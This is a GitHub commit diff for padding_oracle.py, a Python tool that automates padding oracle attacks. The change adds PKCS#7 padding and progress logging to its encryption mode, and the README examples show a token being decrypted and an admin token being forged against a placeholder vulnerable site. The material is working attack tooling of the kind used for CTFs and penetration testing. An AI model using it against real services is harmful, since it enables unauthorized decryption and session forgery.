Skip to content

Commit d5d618d

Browse files
committed
Updated code
Fixed the printout to just update the user on progress (it does still print the final encrypted payload). Added PKCS#7 padding by default to match the default decryption behaviour. Changed mode to accept only a string. I think I have fixed the various nit suggestions but may have missed some (or many tbh) Actually remembered to push changes (wow incredible right)
1 parent ceda912 commit d5d618d

File tree

4 files changed

+47
-26
lines changed

4 files changed

+47
-26
lines changed

README.md

Lines changed: 6 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
21
# Padding Oracle Python Automation Script
32

43
![python-package-badge](https://github.com/djosix/padding_oracle.py/actions/workflows/python-package.yml/badge.svg)
@@ -30,8 +29,10 @@ Performance of padding_oracle.py was evaluated using [0x09] Cathub Party from ED
3029
| 16 | 1m 20s |
3130
| 64 | 56s |
3231

33-
## How to Use
32+
## How to Use
33+
3434
### Decryption
35+
3536
To illustrate the usage, consider an example of testing `https://vulnerable.website/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D`:
3637

3738
```python
@@ -64,8 +65,10 @@ plaintext = padding_oracle(
6465
num_threads = 16,
6566
)
6667
```
68+
6769
### Encryption
68-
To illustrate the usage, consider an example of forging a token for`https://vulnerable.website/api/?token=<.....>`:
70+
71+
To illustrate the usage, consider an example of forging a token for `https://vulnerable.website/api/?token=<.....>` :
6972

7073
```python
7174
from padding_oracle import padding_oracle, base64_encode, base64_decode
@@ -84,13 +87,7 @@ def oracle(ciphertext: bytes):
8487
else:
8588
raise RuntimeError('unexpected behavior')
8689

87-
def pad(data: bytes, block_size=16):
88-
pad_value = block_size - len(data) % block_size
89-
return data + bytearray([pad_value for i in range(pad_value)])
90-
9190
payload: bytes =b"{'username':'admin'}"
92-
payload = pad(payload)
93-
assert len(payload) % 16 == 0
9491

9592
ciphertext = padding_oracle(
9693
payload,

src/padding_oracle/legacy.py

Lines changed: 31 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@
2727
from .encoding import to_bytes
2828
from .solve import (
2929
solve, Fail, OracleFunc, ResultType,
30-
convert_to_bytes, remove_padding)
30+
convert_to_bytes, remove_padding, add_padding)
3131

3232
__all__ = [
3333
'padding_oracle',
@@ -41,6 +41,7 @@ def padding_oracle(payload: Union[bytes, str],
4141
null_byte: bytes = b' ',
4242
return_raw: bool = False,
4343
mode: Union[bool, str] = 'decrypt',
44+
pad_payload: bool = True
4445
) -> Union[bytes, List[int]]:
4546
'''
4647
Run padding oracle attack to decrypt ciphertext given a function to check
@@ -58,7 +59,9 @@ def padding_oracle(payload: Union[bytes, str],
5859
set (default: None)
5960
return_raw (bool) do not convert plaintext into bytes and
6061
unpad (default: False)
61-
mode (bool|str) encrypt the payload (defaut: False/'decrypt')
62+
mode (str) encrypt the payload (defaut: 'decrypt')
63+
pad_payload (bool) PKCS#7 pad the supplied payload before
64+
encryption (default: True)
6265
6366
6467
Returns:
@@ -72,19 +75,18 @@ def padding_oracle(payload: Union[bytes, str],
7275
raise TypeError('payload should have type bytes')
7376
if not isinstance(block_size, int):
7477
raise TypeError('block_size should have type int')
75-
if not len(payload) % block_size == 0:
76-
raise ValueError('payload length should be multiple of block size')
7778
if not 1 <= num_threads <= 1000:
7879
raise ValueError('num_threads should be in [1, 1000]')
7980
if not isinstance(null_byte, (bytes, str)):
8081
raise TypeError('expect null with type bytes or str')
8182
if not len(null_byte) == 1:
8283
raise ValueError('null byte should have length of 1')
83-
if not isinstance(mode, (bool, str)):
84-
raise TypeError('expect mode with type bool or str')
84+
if not isinstance(mode, str):
85+
raise TypeError('expect mode with type str')
8586
if isinstance(mode, str) and mode not in ('encrypt', 'decrypt'):
8687
raise ValueError('mode must be either encrypt or decrypt')
87-
88+
if (mode == 'decrypt') and not (len(payload) % block_size == 0):
89+
raise ValueError('for decryption payload length should be multiple of block size')
8890
logger = get_logger()
8991
logger.setLevel(log_level)
9092

@@ -93,8 +95,8 @@ def padding_oracle(payload: Union[bytes, str],
9395

9496

9597
# Does the user want the encryption routine
96-
if (mode == 'encrypt') or (mode == True):
97-
return encrypt(payload, block_size, oracle, num_threads, null_byte, logger)
98+
if (mode == 'encrypt'):
99+
return encrypt(payload, block_size, oracle, num_threads, null_byte, pad_payload, logger)
98100

99101
# If not continue with decryption as normal
100102
return decrypt(payload, block_size, oracle, num_threads, null_byte, return_raw, logger)
@@ -126,11 +128,11 @@ def plaintext_callback(plaintext: bytes):
126128
if not return_raw:
127129
plaintext = convert_to_bytes(plaintext, null_byte)
128130
plaintext = remove_padding(plaintext)
129-
131+
130132
return plaintext
131133

132134

133-
def encrypt(payload, block_size, oracle, num_threads, null_byte, logger):
135+
def encrypt(payload, block_size, oracle, num_threads, null_byte, pad_payload, logger):
134136
# Wrapper to handle exceptions from the oracle function
135137
def wrapped_oracle(ciphertext: bytes):
136138
try:
@@ -148,24 +150,40 @@ def result_callback(result: ResultType):
148150
logger.error(result.message)
149151

150152
def plaintext_callback(plaintext: bytes):
151-
plaintext = convert_to_bytes(plaintext, null_byte)
152-
logger.info(f'plaintext: {plaintext}')
153+
plaintext = convert_to_bytes(plaintext, null_byte).strip(null_byte)
154+
bytes_done = str(len(plaintext)).rjust(len(str(block_size)), ' ')
155+
blocks_done = solve_index.rjust(len(block_total), ' ')
156+
printout = "{0}/{1} bytes encrypted in block {2}/{3}".format(bytes_done, block_size, blocks_done, block_total)
157+
logger.info(printout)
153158

154159
def blocks(data: bytes):
155160
return [data[index:(index+block_size)] for index in range(0, len(data), block_size)]
156161

157162
def bytes_xor(byte_string_1: bytes, byte_string_2: bytes):
158163
return bytes([_a ^ _b for _a, _b in zip(byte_string_1, byte_string_2)])
159164

165+
if pad_payload:
166+
payload = add_padding(payload, block_size)
167+
168+
if len(payload) % block_size != 0:
169+
raise ValueError('''For encryption payload length must be a multiple of blocksize. Perhaps you meant to
170+
pad the payload (inbuilt PKCS#7 padding can be enabled by setting pad_payload=True)''')
171+
160172
plaintext_blocks = blocks(payload)
161173
ciphertext_blocks = [null_byte * block_size for _ in range(len(plaintext_blocks)+1)]
162174

175+
solve_index = '1'
176+
block_total = str(len(plaintext_blocks))
177+
163178
for index in range(len(plaintext_blocks)-1, -1, -1):
164179
plaintext = solve(b'\x00' * block_size + ciphertext_blocks[index+1], block_size, wrapped_oracle,
165180
num_threads, result_callback, plaintext_callback)
166181
ciphertext_blocks[index] = bytes_xor(plaintext_blocks[index], plaintext)
182+
solve_index = str(int(solve_index)+1)
167183

168184
ciphertext = b''.join(ciphertext_blocks)
185+
logger.info(f"forged ciphertext: {ciphertext}")
186+
169187
return ciphertext
170188

171189
def get_logger():

src/padding_oracle/solve.py

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,7 @@
3636
'solve',
3737
'convert_to_bytes',
3838
'remove_padding',
39+
'add_padding'
3940
]
4041

4142
class Pass(NamedTuple):
@@ -264,3 +265,11 @@ def remove_padding(data: Union[str, bytes, List[int]]) -> bytes:
264265
'''
265266
data = to_bytes(data)
266267
return data[:-data[-1]]
268+
269+
def add_padding(data: Union[str, bytes, List[int]], block_size: int) -> bytes:
270+
'''
271+
Add PKCS#7 padding bytes.
272+
'''
273+
data = to_bytes(data)
274+
pad_len = block_size - len(data) % block_size
275+
return data + (bytes([pad_len]) * pad_len)

tests/test_padding_oracle.py

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -21,10 +21,7 @@ def test_padding_oracle_encryption():
2121
plaintext = b'the quick brown fox jumps over the lazy dog'
2222
ciphertext = cryptor.encrypt(plaintext)
2323

24-
padder = padding.PKCS7(128).padder()
25-
payload = padder.update(plaintext) + padder.finalize()
26-
27-
encrypted = padding_oracle(payload, cryptor.block_size,
24+
encrypted = padding_oracle(plaintext, cryptor.block_size,
2825
cryptor.oracle, 4, null_byte=b'?', mode='encrypt')
2926
decrypted = cryptor.decrypt(encrypted)
3027

0 commit comments

Comments
 (0)